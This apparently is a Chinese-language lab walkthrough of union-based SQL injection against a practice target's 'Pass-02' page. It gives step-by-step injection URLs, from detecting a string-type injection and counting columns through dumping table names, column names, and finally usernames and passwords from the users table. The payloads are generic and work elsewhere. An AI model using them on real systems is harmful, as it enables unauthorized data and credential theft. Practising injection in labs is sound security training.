sql_lab中sql注入之union联合注入

1.判断注入类型

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1没有回显

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1 and 1=1

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1 and 1=2 and1=1和and1=2回显效果一致,则判断不是数字型

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1'' 有回显

则判断出是字符型注入,且注入是'注入

2.判断注入点

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' and 1=1 --+ 表示and两边结果为真,返回结果正常

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' and 1=2 --+ 表示一边为真一边为假,没有返回值

则判断是sql注入

3.判断字段数量

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 5 --+ 没有结果

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 4 --+ 没有结果

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 3 --+ 有回显结果

说明该数据库的字段数量是3

4.用union联合查询,判断回显点

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,2,3 --+

5.查询使用的是那个数据库

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),3 --+

6.查询表名

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema="security" --+

查询到了security数据库里面的所有表名

7.查询users表里面的字段名

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" --+

8.查username和password

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

相关推荐
城北徐宫22 分钟前
MySQL约束条件一览
数据库·mysql
ClouGence3 小时前
数据库变更审批困局,被这个开源工具解决了
数据库·开源
TDengine (老段)3 小时前
TDengine IDMP 十大实用功能(9)
大数据·数据库·人工智能·物联网·时序数据库·tdengine·idmp
starrocks_stella4 小时前
EMR Serverless StarRocks Object Table:用 SQL 连接 OSS 文件与多模态 AI
数据库
这个DBA有点耶4 小时前
以为自增ID只是有空洞?聊聊双主架构下无声的“数据覆盖”
数据库·mysql·dba
钱栈up5 小时前
内网全断,怎么核实高炉和烧结系统的数据库对接信息
数据库
weavecodes5 小时前
双层缓存与权限实时生效:织码在线教育系统的 Caffeine + Redis 设计
数据库
bksczm5 小时前
InnoDB 页结构详解:页类型、页头页尾、数据行与页目录
数据库·mysql
bksczm6 小时前
InnoDB 行格式详解:DYNAMIC / COMPACT / COMPRESSED / REDUNDANT
java·开发语言·数据库
字节跳动开源7 小时前
OpenViking连接业务系统,LLM Wiki一键编译
数据库·开源